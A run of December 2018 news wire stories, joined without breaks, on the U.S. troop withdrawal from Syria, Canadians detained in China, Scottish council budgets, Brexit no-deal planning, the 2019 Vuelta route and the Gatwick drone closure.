continued activity in eastern Syria. U.S. officials said Wednesday that President Donald Trump is pulling all 2,000 U.S. troops out of Syria, as the president suddenly declared victory over IS. ___ 2:15 p.m. Iranian President Hassan Rouhani says Iran and Turkey will continue their efforts to bring peace to Syria, a day after President Donald Trump announced the withdrawal of all U.S. forces from the war-torn country. Rouhani spoke Thursday during a joint news conference with Turkish President Recep Tayyip Erdogan. Neither commented on the U.S. decision, which came after Trump declared victory over the Islamic State group. Rouhani says Iran, Turkey and Russia will continue with the so-called Astana negotiations on Syria's future, with the next summit to be held in Russia. Iran and Russia have provided crucial military aid to Syrian President Bashar Assad, while Turkey supports the opposition. Rouhani says the people of Syria should decide the country's future, and "the territorial integrity of Syria should be respected." ___ 1:30 p.m. Prime Minister Benjamin Netanyahu says the Israeli military will "intensify" its activity in Syria to prevent Iranian entrenchment following the withdrawal of American forces from the country. Netanyahu spoke Thursday at a joint summit with the leaders of Greece and Cyprus, a day after President Donald Trump announced his decision to withdraw American troops from Syria. Netanyahu says Israel will "continue to act very aggressively against Iran's attempts to entrench in Syria," adding that it will do so with "complete support and backing from the United States." Israel has clandestinely carried out hundreds of airstrikes in Syria over the course of the seven-year civil war to prevent Iranian entrenchment near the border and to keep strategic weaponry from reaching Hezbollah in Lebanon. ___ 1 p.m. President Vladimir Putin has welcomed the U.S. decision to withdraw its forces from Syria. Speaking Thursday at his annual news conference, Putin said he agrees with U.S. President Donald Trump, who said Wednesday that the defeat of the Islamic State group removes the need for the U.S. military presence in the country. Putin reaffirmed the long-held Russian argument that the U.S. presence in Syria is illegitimate because it hasn't been vetted by the U.N. Security Council or approved by Syrian President Bashar Assad's government. Putin added that "if the U.S. decided to withdraw its contingent, it has done the right thing." Russia is a key ally of Assad, and its military intervention beginning in 2015 turned the tide of the war in his favor. The Russian leader says it remains to be seen if the U.S. carries out its intention, noting Washington's repeated promises to end its 17-year presence in Afghanistan. ___ 11:45 a.m. A U.S.-backed group in Syria has rejected President Donald Trump's claim that the Islamic State has been defeated and says the withdrawal of U.S. troops would lead to a resurgence of the extremist group. The group known as the Syrian Democratic Forces says in a statement that a premature U.S. troop pullout would have dangerous repercussions and a destabilizing effect on the region. It says Thursday that "the war against Islamic State has not ended and the group has not been defeated." It was the group's first response to Trump's surprise announcement Wednesday that he would be withdrawing all American forces from Syria. The decision has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the IS group. ___ 11 a.m. President Donald Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. Kurds in northern Syria said commanders and fighters met into the night, discussing their response to Wednesday's surprise announcement. Arin Sheikmos, a Kurdish journalist and commentator, says "we have every right to be afraid." The move is widely seen as an abandonment of a loyal ally, one that could prompt Turkey to launch a fresh offensive against the Kurds or drive the Kurds into a new alliance with Syrian President Bashar Assad, Iran and Russia. A Syrian member of parliament, Peter Marjana, said Thursday that a U.S. pullout would be a "recognition that Syria has won." In this Sept. 10, 2018, photo released by the U.S. Marines, Marines with Weapons Company, 3rd Battalion, 7th Marine Regiment, fire mortars from an undisclosed location in Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (U.S. Marine Corps photo by Cpl. Gabino Perez via AP) In this Nov. 7, 2018, photo released by the U.S. Army, U.S. soldiers gather for a brief during a combined joint patrol rehearsal in Manbij, Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (U.S. Army photo by Spc. Zoe Garbarino via AP) In this Nov. 1, 2018, photo released by the U.S. Army, soldiers surveil the area during a combined joint patrol in Manbij, Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (U.S. Army photo by Spc. Zoe Garbarino via AP) FILE - In this file picture taken on Thursday, March 29, 2018, a fighter, second from right, of U.S-backed Syrian Manbij Military Council stands next to U.S. humvee at a U.S. troop's outpost on a road leading to the tense front line between Syrian Manbij Military Council fighters and Turkish-backed fighters, at Halawanji village, north of Manbij, Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group.(AP Photo/Hussein Malla, File) FILE - This Wednesday, April 4, 2018, file photo shows a U.S. position, installed near the tense front line between the U.S-backed Syrian Manbij Military Council and the Turkish-backed fighters, in Manbij, north Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group.(AP Photo/Hussein Malla, File) FILE - In this April 4, 2018, file photo, a U.S. soldier sits on an armored vehicle on a road leading to the front line with Turkish-backed fighters, in Manbij, north Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. (AP Photo/Hussein Malla, File) FILE - In this February 7, 2018 file photo, American troops look out toward the border with Turkey from a small outpost near the town of Manbij, northern Syria. The United States' main ally in Syria on Thursday, Dec. 20, 2018, rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group.(AP Photo/Susannah George, File) In this Thursday, April 5, 2018 photo, a man removes rubble from his house that was damaged during fighting between U.S.-backed Syrian Democratic Forces fighters and Islamic State militants, in Raqqa, Syria. U.S. President Donald Trump's decision Wednesday Dec. 19, 2018, to withdraw U.S. troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. (AP Photo/Hussein Malla, FILE) FILE - In this April 4, 2018 file photo, a U.S-backed Syrian Manbij Military Council soldier passes a U.S. position near the tense front line with Turkish-backed fighters, in Manbij, north Syria. U.S. President Donald Trump's decision Wednesday Dec. 19, 2018, to withdraw U.S. troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. (AP Photo/Hussein Malla, File) BEIJING (AP) - The recent detention of a third Canadian in China differs from earlier ones that authorities allege involve security matters, a Chinese government spokeswoman said Thursday. In the latest case, a woman received an administrative penalty for illegal employment, Foreign Ministry spokeswoman Hua Chunying said at a daily news briefing. She did not provide further details. The detentions of two Canadian men last week appeared to be retaliation for Canada's arrest of a Chinese telecommunications executive wanted in the United States. Hua said the most recent case is different, noting the two men have been taken in for endangering China's national security, while the woman was given an administrative penalty. Canadian Prime Minister Justin Trudeau has also said the cases don't appear to be linked, noting that tens of thousands of Canadians live, travel and work in China. He added at a year-end news conference Wednesday that he doesn't want to escalate tensions with China. Canadian Prime Minister Justin Trudeau listens to a question during an end of session news conference in Ottawa, Wednesday, Dec. 19, 2018. (Adrian Wyld/The Canadian Press via AP) Canadian lawmaker Erin O'Toole said that the case involved visa irregularities for an Alberta woman who had been teaching in China. Opposition leader Andrew Scheer said Trudeau needs to call China's president. "Enough is enough. It's time for the Prime Minister to pick up the phone, call President Xi, demand the safe return of Canadians held by Beijing. Any detention of Canadian citizens for political or diplomatic reasons is completely unacceptable," Scheer tweeted. Nelson Wiseman, a professor at the University of Toronto, said Trudeau looks weak and said his comments won't be well received by Canadians. "The government thinks that stronger statements will lead to poor treatment of Canadians held by China and possibly result in more Canadians being detained and Canadian businesses in China being hurt by the Chinese government," Wiseman said. Meng Wanzhou, chief financial officer of Chinese telecommunications giant Huawei, was arrested in Canada on Dec. 1 at the request of the United States, which wants her extradited to face charges that she and her company misled banks about the company's business dealings in Iran. Nine days later, the Chinese secretly detained two Canadians on vague suspicions of "engaging in activities that endanger the national security" of China. Beijing didn't allow Canadian officials to see Michael Kovrig, a former diplomat in China, for four days and Canadian entrepreneur Michael Spavor for six days. Meng is out on bail in Canada. ___ Associated Press researcher Liu Zheng contributed to this story. Canadian Prime Minister Justin Trudeau scratches his forehead as he listens to a question during an end of session news conference in Ottawa, Wednesday, Dec. 19, 2018. (Adrian Wyld/The Canadian Press via AP) Every council in Scotland will face cuts to its core revenue grant funding under the Scottish Governments Budget plans, according to independent analysis. A report published by the Scottish Parliament Information Centre (SPICe) indicates a 3.4% reduction in real terms core revenue grant funding for local authorities. Announcing the Budget at Holyrood last week, Finance Secretary Derek Mackay said there would be a real terms increase in revenue and capital funding, and an overall real terms increase in the total local government settlement. The total allocation to local government in the 2019-20 Budget is 10,779.9 million, comprising the general revenue grant, business rates and smaller amounts for the general capital grant and ring-fenced grants. It represents a 2.5% increase in cash terms, or a 0.7% increase in real terms. If revenue funding from other portfolios outwith local government and communities, but still from the Scottish Government to local authorities, is included, this rises to 11,071.2 million a cash increase of 3.8% (405.1 million), or 2% (210.5 million) in real terms. The analysis was carried out by the Scottish Parliaments information centre (Andrew Cowan/Scottish Parliament) The 210 million real terms figure was used by the Cabinet Secretary as the headline local government figure in his Budget speech. However, when looking specifically at the non-ring-fenced revenue funding available for councils, this falls 157.2 million (1.7%) in cash terms, or 319.1 million (3.4%) in real terms between 2018-19 and 2019-20. The largest cuts are seen in Shetland (-3.9%), West Dunbartonshire (-3.8%) and Glasgow City (-3.6%). The smallest cuts were made in Angus (-1.8%), Fife (2.2%) and in East Ayrshire (-2.4%). Scottish Conservative MSP Graham Simpson said local services would suffer badly because of the funding decision. This damning evidence shows every single council in Scotland suffered as a result of the SNPs latest budget, when ring-fenced funding is taken out the equation, he said. And theres no excuse for this reduction when the money coming from Westminster is going up. This takes autonomy away from local authorities, and could force council leaders to lobby for even more punishing tax increases on hardworking households. As a result of this damaging decision, local services up and down the country are going to suffer badly. Scottish Liberal Democrat leader Willie Rennie urged ministers to re-evaluate the decision. Read the latest SPICe briefing which sets out a summary and analysis of the local government budget for 2019-20, and the provisional allocations to local authorities: https://t.co/rlJfLqbtNk pic.twitter.com/CkxRNhdE7T Scottish Parliament (@ScotParl) December 19, 2018 Mr Rennie said: The impartial analysis from SPICe shows that local councils will be facing impossible tasks. The SNP Government has deliberately cooked the books to disguise cuts that will hit every community. Scottish ministers need to admit they have made a mistake and get back round the table to give local authorities the chance to save local services from the chop. Scottish Greens local government spokesman Andy Wightman said: This briefing shows Greens are right to stand up for fairer funding for front line council services and to hold out for fundamental reform to local taxation. The fact that between 2013-14 and 2018-19, the local government budget fell by over 7% while the Scottish Governments budget only fell by 0.8% shows that SNP ministers are choosing to sacrifice local services such as schools and social care. This situation cannot continue and ministers must commit to end the outdated, unfair council tax and broaden councils tax base if they want Greens to enter formal budget talks talks in which we would insist councils receive a genuinely fair settlement. Councillor Gail Macgregor Coslas Resources spokeswoman said: Todays independent report from SPICe casts aside any doubt on Coslas interpretation of the budget. Sadly the report clearly demonstrates the erosion of Local Governments core revenue budget. The report demonstrates that we are right to have a genuine concern about the impact that this budget will have on essential services to our communities and the resulting impact it will have on the country as a whole. Public Finance Minister Kate Forbes said: It is wrong to focus on certain elements of the funding support for local government. Excluding 507 million of specific revenue grants to fund services such as the expansion of Early Learning and Childcare and the Pupil Equity Fund, as well as the 151 million of revenue funding still to be distributed, presents a distorted picture of the facts. We are delivering a funding package of 11.1 billion for local authorities next year which the SPICe figures confirm is a real terms increase of over 210 million, or 2%, for essential public services in Scotland. A High Court judge says he is gravely concerned about a three-year-old boy who has gone missing with his mother. Mr Justice Williams said he wanted people to raise the alarm immediately if they had any information about the whereabouts of 26-year-old Ellie YarrowSanders and her son Olly Sheridan. Miss Yarrow-Sanders has been embroiled in private family court litigation with her ex-partner, Ollys father, Patrick Sheridan. The judge made an appeal for help at a hearing in the Family Division of the High Court in London on Wednesday. Ellie Yarrow-Sanders was involved in private family court litigation before going missing (Patrick Sheridan/PA) Hearings have been staged in private and journalists have been barred from identifying family members, who come from the Basildon area or Essex, involved. But Mr Justice Williams said he was lifting an identity bar in the hope that publicity would help find Olly and Miss Yarrow-Sanders. He said he had grave concern for Ollys welfare. Im so desperately worried about my son and just want him home, said Mr Sheridan, a civil engineer in his 40s, after the hearing. My message to Ellie is simple: Please come back so that we can see Ollys all right. Thats all I want. Lawyers said anyone with information could call the Essex Police non-emergency number, 101. Sir Keir Starmer has used an emergency Commons debate to appeal to ministers to take a no-deal Brexit off the table. The shadow Brexit secretary insisted Labour MPs would not be forced into accepting Theresa Mays deal in order to prevent a no-deal scenario as he accused the Government of running down the clock on Brexit. Downing Street announced on Tuesday, after a three-hour cabinet meeting, that the Government would ramp up no-deal preparations with 3,500 troops on stand-by and an extra 2 billion set aside across 25 Whitehall departments. The best way to mitigate the risks of no deal is to vote for the deal on the table says @chhcalling PARLY (@PARLYapp) December 19, 2018 Speaking in the Commons, Sir Keir said: Theres no such thing as a managed no deal, Ive repeatedly said a no deal is not credible, its not viable, it is a political hoax intended only to put pressure on members of this House to back the Prime Ministers deal. Even if the Government did choose to push ahead with a no deal, Im convinced that Parliament would stand in its way. The overwhelming majority of members in this House would not countenance a no-deal Brexit. Sir Keir went on to pay tribute to Tory MPs such as Nick Boles and Anna Soubry, who said they would resign the whip if the Government did pursue a no deal, adding: I suspect theyre not alone. Sir Keir Starmer insisted Labour MPs would not be forced into accepting Theresa Mays deal in order to prevent a no-deal scenario (Peter Byrne/PA) We have a Prime Minister unable to put her deal to the vote and no prospect of further renegotiation, rather than trying to reach across Parliament to break the deadlock we have a Government that is now actively pursuing a policy thats not supported by the Cabinet, not supported by Parliament and not supported by the country, he said. He added: It is reckless and irresponsible, its an indictment of a wasted year, even now Id urge the Government to take no deal off the table and find a sensible way forward. Labour colleague Lloyd Russell-Moyle (Brighton Kemptown), intervening on his speech, suggested the PM should look at extending Article 50 to get more time to secure a better deal and the shadow Brexit secretary replied: I do agree that serious consideration needs to be given to the timetable now set by Article 50. Because by the 14th of January we will just be nine weeks away from the proposed date of leaving the EU, and on any view the government will then have to make a choice what to do next, and no Plan B has ever been forthcoming. A no deal Brexit would be catastrophic. No government has the right to plunge the country into chaos because of its own failure. The majority in Parliament must have its voice heard. Thats why I will be applying for this emergency debate today. https://t.co/mIYKlq8WtK Keir Starmer (@Keir_Starmer) December 19, 2018 Brexit Minister Chris Heaton-Harris, responding, said no deal remains a risk if Parliament does not support the PMs deal. He said: This Government has been clear that we do not expect or want a no-deal scenario, delivering the deal negotiated with the European Union remains our top priority, it is also the best way to deliver on the democratic choice of the British people. Our effort to get this deal has not changed, however with 100 days until we leave the European Union the Governments continued duty is to prepare for every eventuality including a no-deal scenario. Labours Stella Creasy (Walthamstow), intervening, asked if Government accepted any responsibility for how its come to this. Mr Heaton-Harris replied: Id love to have a moment of introspection, Id love to have been in the negotiating room, but we now have on the table a very good deal for this country and the best way to mitigate against a no deal is to vote for that deal. More than 10,000 civil servants are now working on Brexit with a further 5,000 in the pipeline which will allow us to accelerate our preparation as necessary and hopefully for a deal, he added. He said: The Government has no intention to use troops in our no deal planning at all. Conservative MP Jeremy Lefroy (Stafford), a former trade negotiator, said those arguing for a no-deal Brexit on World Trade Organisation (WTO) rules were deluded. He said: This idea that somehow if we come out and have no deal that there will be a possibility of negotiating a quick free trade agreement with the EU to replace the great agreement we have at the moment is to my mind ludicrous. That will not happen. US sanctions on an Irish industrial plant are due to be lifted, the Government in Dublin has said. Limerick-based Aughinish Aluminas parent company is Russian. It employs over 600 people and produces approximately a third of Europes alumina, a key input to aluminium production. The US Treasurys Office of Foreign Assets Control has announced its intention to terminate sanctions imposed on UC Rusal plc, the Russian parent company. A 30-day Congressional review period will follow. Irelands deputy premier, Tanaiste Simon Coveney, said: Todays announcement is therefore a very welcome return on the intensive efforts made to protect Aughinish Alumina and the many jobs that are sustained and supported by the firm. While we need to await the conclusion of the congressional review period, todays announcement should mean that Aughinish will soon no longer be impacted by the sanctions. US sanctions on an Irish industrial plant are due to be lifted, Irelands deputy premier Simon Coveney said (Brian Lawless/PA). Mr Coveney added: Since sanctions targeting the business interests of certain Russian individuals were announced in April, the Government has engaged extensively with the US administration to outline the risks these measures posed to Aughinish Alumina and to work towards a solution which safeguarded the companys future and the livelihoods of those employed there. Aughinish Alumina is an alumina processing company located on the banks of the River Shannon in Askeaton, Co Limerick. In April the US Treasury Department imposed sanctions on 26 specific Russian individuals and 15 Russian companies, including Rusal, its parent company EN+ and its major shareholder Oleg Deripaska. Because of the manner in which such measures are applied, other companies, including Aughinish Alumina, which were owned or controlled by those specified firms, also effectively became sanctioned as well. The 2019 Vuelta a Espana could be decided on roads close to Simon Yates home but the reigning champion stopped short of committing to defending his crown at Wednesdays route announcement. Organisers unveiled the full details of a 3,272km route which is highlighted by a brutal mountainous stage nine in Andorra. It was here, close to his Andorra home, that Bury-born Yates effectively sealed his first Grand Tour victory in September and it looks likely to play a key role in determining who wears red in Madrid again. Though only 100 kilometres long, stage nine will include climbs of the Ordino and Col de la Gallina before a closing section which includes four kilometres of off-road racing and three climbs, including to the Cortals DEncamp first category summit finish. Its actually a short cut home, Yates said of the off-road section, which is new to La Vuelta next year. Its very difficult of course, very typical of the Vuelta. Simon Yates is not sure if he will defend his Vuelta crown (David Davies/PA) Etapa 9 | Stage 9 #LaVuelta19 Andorra la Vella > Cortals d'Encamp 1/9 96,6 km Primera etapa clave para la general. First key stage for GC. pic.twitter.com/01uFDk27LC La Vuelta (@lavuelta) December 19, 2018 Though short on famous climbs aside from the ones it will visit in Andorra the full route of the three-week race includes a total of eight summit finishes, ensuring the Spanish Grand Tour will be as mountainous as ever though seven stages should offer something for the sprinters too. The race will begin with a 24km team time trial in Torrevieja on August 24 and finishes with a stage to Madrid on September 15. The 26-year-old Yates has already committed to building his season around the Giro dItalia in May, where he hopes to challenge again having spent almost two weeks in pink before surrendering to Chris Froome on stage 19 earlier this year. El recorrido de #LaVuelta19 3272,2 km - 21 etapas: 6 llanas - 7 de montana - 4 de media montana (2 con final en alto) - 1 C.R.E. - 1 C.R.I. #LaVuelta19 route. 3272,2 km - 21 stages: 6 flat - 7 mountain - 4 hilly (2 hilly with high altitude finale) - 1 TTT - 1 ITT pic.twitter.com/FOmIgsJXbX La Vuelta (@lavuelta) December 19, 2018 The Mitchelton-Scott rider will then consider the Vuelta depending on his condition. Asked if the course suited him, Yates added: I think so. Of course with a team time trial at the start we have a very strong team there, and the stage to Andorra I know those roads very well which we already saw this year. My goal is the Giro. I will do everything for that and after that we will plan the rest of the year. I like the Vuelta and if the sensations are good then I can return. Welcome to Yorkshire chief executive Sir Gary Verity was among the attendees at the route launch in Alicante as he works to finalise details of when the race might start in Yorkshire in the near future. There is a plausible argument for a second referendum on Brexit if MPs remain unable to agree on how to proceed, a Cabinet minister has said. Amber Rudd insisted she did not want a so-called Peoples Vote and did not think the country wanted to be asked again for its views on Brexit. But she backed the idea of an indicative vote to find which Brexit options MPs would be prepared to back if Theresa Mays deal is rejected when it returns to Parliament for a crunch vote in January. A turning point for Brexit? @AmberRuddHR becomes the first Cabinet Minister to suggest there is a route to a second referendum. Watch the full interview tonight at 10.45pm @ITV #Peston pic.twitter.com/oCJ1AhYyCV Peston (@itvpeston) December 19, 2018 The Work and Pensions Secretary said: I dont want a peoples vote, or a referendum in general, but if Parliament absolutely failed to reach a consensus I could see there would be a plausible argument for it. She added: Parliament has to reach a majority on how its going to leave the European Union. If it fails to do so, then I can see the argument for taking it back to the people again, much as it would distress many of my colleagues. Ms Rudd has previously suggested a Norway-plus model soft Brexit could be plausible if MPs were asked to back an alternative to Mrs Mays deal. She backed the idea of an indicative vote so MPs could reveal which options they would back if Mrs Mays deal cannot get through. It would flush out MPs by forcing them to show their support for one option or another, and encourage those whose favoured ideas are rejected to reach a compromise. We are going to have to find a way, as MPs, of working together to find a consensus, of agreeing on how to stop no deal taking place, she said. Ms Rudds intervention came after the Prime Ministers plans for securing reassurances from Brussels on her Brexit deal were mocked as a wee bit nebulous by Nicola Sturgeon. Speaking after talks with Mrs May in Downing Street, Scotlands First Minister echoed the remark of European Commission president Jean-Claude Juncker which infuriated the Prime Minister at last weeks EU summit. The comment came as Home Secretary Sajid Javid launched the Governments plans for immigration policy after Brexit, which Ms Sturgeon said amounted to an act of vandalism on the Scottish economy. Meanwhile, in Brussels, the European Commission activated plans for a possible no-deal Brexit on March 29, making clear that they are designed to protect the vital interests of the EU. A day after the Cabinet gave the green light to full-scale no-deal preparations in the UK and 100 days before the scheduled date of Brexit, the Commission said it was essential and urgent to act to avoid major disruption if the UK crashes out without an agreement. Mrs May is understood to have used her meeting with Ms Sturgeon and Welsh First Minister Mark Drakeford to urge them to pull together to back the Withdrawal Agreement she reached with Brussels in November. But as she emerged from Number 10, Ms Sturgeon restated the Scottish National Partys determination to vote against the deal when it returns to the Commons in January. The plans cover 14 areas most likely to be affected, ranging from financial services to aviation, customs and carbon emissions trading. And she said it was unacceptable for the PM to delay the vote in the hope of running down the clock to Brexit and leaving MPs with the choice only between her deal and no deal. Ms Sturgeon, who backs a referendum on the final terms of the Brexit deal, said: Its beyond me that any Prime Minister would want to have as her legacy turning the UK inwards and making it less open and welcoming to people from the rest of the world. On a visit to Heathrow on Wednesday, Mrs May said that the UK was talking to the EU about some further assurances to assuage the concerns that Members of Parliament had on a particular issue in the Withdrawal Agreement. But asked if the PM had spelt out what was being done, Ms Sturgeon said: It was a wee bit nebulous. Theres not a lot of detail there. She says shes working with the EU, trying to find assurances. I pressed her to give a bit more detail on that. I have to say it wasnt forthcoming. Mr Drakeford told reporters in Downing Street that a second referendum would be unavoidable if MPs failed to approve a deal and there was not a general election. Prime Minister Theresa May visited Heathrow Airport to publicise the Governments immigration plans (Niklas Hallen/PA) In the Commons, shadow Brexit secretary Sir Keir Starmer said Labour MPs would not be forced by the shortness of time into choosing between Mrs Mays deal and no deal. Sir Keir said that serious consideration should be given to extending the two-year Article 50 process leading to Brexit on March 29 2019. He said: A choice between bad and even worse is not a meaningful choice. Nor is leaving the EU on March 29 next year without a deal viable. Iraq's Church Leaders Urge More Support For Assyrians Of Nineveh Plains IN AN URGENT appeal, Christian leaders on Iraq's Nineveh Plains called on the international community to do more to help resettle thousands of Christian families who had fled ISIS--and ensure the survival of Christianity in Iraq, which is by no means certain. "Please do not be a silent bystander to our drama. We call on you to support the Christians of Iraq... while there is still time for it," wrote leaders of the Chaldean Catholic Church, the Syrian Catholic Church and the Syriac Orthodox Church, the three main Churches on the Nineveh Plain. The signatories are part of the Nineveh Reconstruction Committee, which was created by Aid to the Church in Need, the international papal charity, to oversee the reconstruction of the Christian communities in northern Iraq. Funding is falling short, the statement said, noting that "there is still a lot to do" to facilitate the return of Christians "to their respective ancestral communities from which they were expelled" as ISIS swept through the region in the summer of 2014. The appeal reports that 13,904 homes needed repair or rebuilding after the ouster of ISIS; work has been completed on half the number of houses. To-date, 9,060 families have returned from exile in Kurdistan, representing only just over 45 percent of all Christians who fled the Nineveh Plains. The leaders said that an additional "2,000 families are eager to return, but have no means to do so." The statement stressed the fact that the return of these Christians to their former homes "is a matter of great urgency, since the window of time for returning safely is closing. If they do not return now to repossess their homes, others will occupy them. Moreover, the Iraqi government is not inclined to protect empty houses." Besides urging greater financial and diplomatic support from the international community, the statement calls for the "legal protection of Christians and other minorities, their fundamental human rights, especially equal citizenship;" trauma care; investment in education that uses the Syriac language spoken by Christians; and the funding of "small business/self-employment micro-projects" to help prevent the impoverishment of the Christian community and stem the flow of emigration. Iraqi Christian leaders cite two key recent developments: commitments made by the German and Austrian governments to help fund the reconstruction of the Nineveh Plains and US President Donald Trump signing into law the "Iraq and Syria Genocide Relief and Accountability Act of 2018," which provides for "relief for victims of genocide, crimes against humanity, and war crimes who are members of religious and ethnic minority groups in Iraq and Syria, for accountability for perpetrators of these crimes, and for other purposes." Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit, the Irish Government said. Dozens more bays to carry out checks will also be made in a bid to avoid halting other traffic, plans for a no-deal withdrawal by the UK revealed. Holyhead in Wales is one of the main destinations served by Dublin port but the UKs role as a so-called land-bridge between Ireland and Europe has been cast into doubt by fears of a hard Brexit. Foreign Affairs Minister Simon Coveney said the country was accelerating its planning for the UK crashing out of the EU without a deal. No Deal Brexit Planning details of challenges and actions being taken - MerrionStreet https://t.co/V3xJD63hAb Simon Coveney (@simoncoveney) December 19, 2018 A Government report said: For Ireland, a no-deal Brexit would potentially involve severe macroeconomic, trade and sectoral impacts. Grappling with the enormous range of impacts both in the immediate short term and in the longer term will involve difficult and significant choices of a practical, strategic and political nature. Ireland is accelerating its planning for a no-deal Brexit, Foreign Affairs Minister Simon Coveney said (Niall Carson/PA) Work is ongoing at Dublin Port on creating 33 inspection bays for trucks coming off ships. Office accommodation for an additional 144 staff will be required within the port area. Parking for 270 trucks would ensure those awaiting inspection do not halt other port traffic, the report said. It said the application of World Trade Organisation tariffs and regulatory divergence could affect supply chains and the cost and/or availability of imports from the UK. A further fall in the value of sterling would impact on the competitiveness of Irish businesses, while a deterioration in economic conditions in Britain could impact on exports. Tanaiste @simoncoveney speaking this evening about Irelands contingency planning for a no deal #Brexit: The UK leaving is going to cause us a significant challenge in the first quarter next year. We have accelerated our planning which will involve multiple sectors. pic.twitter.com/kw886zW60o MerrionStreet.ie (@merrionstreet) December 19, 2018 Whilst Brexits potential macro-economy impacts dominate headlines, Brexit has the potential to impact every element of economic functionality: trade flows, supply chains, economic and business operations, the labour market and consumer confidence and spending. Areas covered by plans published in Dublin late on Wednesday evening included: agriculture shipping fishing data security students the Common Travel Area the future of Britain as a goods land bridge aviation. It anticipated particular pressures on sectors like agri-food, fisheries, aviation and road transport, pharma-chemicals, electrical machinery, retail and wholesale business. The economic impact is also likely to be greater in certain regions especially near the border with Northern Ireland and on smaller businesses that are more dependent on trade with Britain and Northern Ireland. The 130-page dossier said: A no-deal Brexit would have negative consequences for Irish growth, both in the short and long run, relative to a no-Brexit scenario. An increase in public borrowing may be required. The Government report said: A no-deal Brexit would be an exceptional economic event which would be met with exceptional measures to support the continued operation of the Irish economy and our international trading links. It said there would be gaps in policing and justice arrangements with Northern Ireland including the European Arrest Warrant which allows for the speedy extradition of suspects. It warned the movement of people and businesses out of the UK could present economic opportunities but risked placing strain on infrastructure. Flights in and out of Gatwick have been suspended after air traffic controllers received reports of two drones flying close to the airport. Passengers faced delays as some flights were unable to leave the tarmac, while others were diverted to other airports. Gatwick said it was investigating the incident alongside Sussex Police. A statement said: Following reports of two drones flying over the Gatwick Airport airfield, at 21:03, and multiple reports of sightings since, we have had to suspend flights while we investigate this alongside Sussex Police. We will update when we have suitable reassurance that it is appropriate to re-open the runway. It added: Our airlines are working to provide affected passengers with hotel accommodation or transport passengers landing at other airports to Gatwick by other means, and Gatwick staff are looking after passengers in our terminals. Flights are currently grounded at Gatwick (Philip Toscano/PA) We apologise to any affected passengers for this inconvenience but the safety of our passengers and all staff is our foremost priority. Phones running out of battery @Charlotteheadon has had to resort to good old fashioned drawing to amuse herself while stranded at Gatwick airport... the travesty;) pic.twitter.com/dmMDknK3Fo Claudia Headon (@Claudia_Journo) December 19, 2018 Responding to a passenger who complained their plane had been diverted to Stansted, and then Heathrow, British Airways tweeted: Gatwick have stopped all arrivals and departures due to a drone, weve been told. Something thats not within our control. We hope the crew keeps you updated. Several passengers reported long waits for take off or diversions. Twitter user Seun Olayanju posted: @AerLingus currently stuck at Gatwick waiting for the heavily delayed E10249 to Dublin. Please can you confirm if the flight will run tonight? Joe Bonds flight from Belfast was diverted to Birmingham, he joked on Twitter From the sound of the stewards we might be staying here forever. He added: Update. Got a free can of Coke and Pringles. Which has made the delay better. Update. Got a free can of Coke and Pringles. Which has made the delay better. JB (@jdotbond) December 19, 2018 He told the Press Association that crew had said the plane had been refulled and would put its status to ready to fly once Gatwick opened. He added: But the longer Gatwick stays closed, the less likely we will be able to fly tonight. They said there could be alternative travel options in place. Flight tracking site Plane Finder said some flights had been diverted as far as Manchester while others had been put on a holding pattern over France. Some diversions are further than others!!! pic.twitter.com/cfiyB8f6wA Plane Finder (@planefinder) December 19, 2018 It is understood two British Airways flights were diverted to Heathrow Airport. Oana Damian tweeted that her flight had been diverted to London Heathrow but no one could disembar as there were no customs and ground handling operations in place to deal with the plane. And Im sat in a BA flight which got rerouted to LHR - but cant disembark as no customs and ground handling operations are put in place. https://t.co/r9Qlzf0taJ Oana Damian (@OanaDamian) December 19, 2018 Honor Ireland wrote: Landed at Stansted when we should be at @Gatwick_Airport due to a supposed drone sighting car is at Gatwick, fantastic! #gatwickairport Landed at Stansted when we should be at @Gatwick_Airport due to a supposed drone sighting - car is at Gatwick, fantastic ! #gatwickairport Honor Ireland (@honorireland) December 19, 2018 John Belo said: Plane should have departed an hour ago from @Gatwick_Airport captain confirmed there are reports of a drone in the area still waiting. Donald Trump is pulling all 2,000 US troops out of Syria, officials announced Wednesday, as the president suddenly declared victory over the Islamic State. He was contradicting his own experts assessments and sparked surprise and outrage from members of his party, who called his action rash and dangerous. The US began airstrikes in Syria in 2014, and ground troops moved in the following year to battle the Islamic State, or Isis, and train Syrian rebels in a country torn apart by civil war. Mr Trump abruptly declared their mission accomplished in a tweet. On Wednesday, as Vice President Mike Pence met top military leaders in the Pentagon, Mr Trump tweeted: We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. Later, Mr Trump posted a video on Twitter in which he said it was heartbreaking to have to write letters and make calls to the loved ones of those killed in battle. Donald Trump has argued for the withdrawal since he was a presidential candidate (Amnesty International/PA) Now its time for our troops to come back home, he said. His declaration of victory is far from unanimous. The decision will fulfil Mr Trumps long-stated goal of bringing troops home from Syria, but military leaders argue that Islamic State remains a threat and could regroup as it battles in Syrias long-running civil war. Mr Trump has argued for the withdrawal since he was a presidential candidate. But the decision underscores the division between him and his military advisers, who have said in 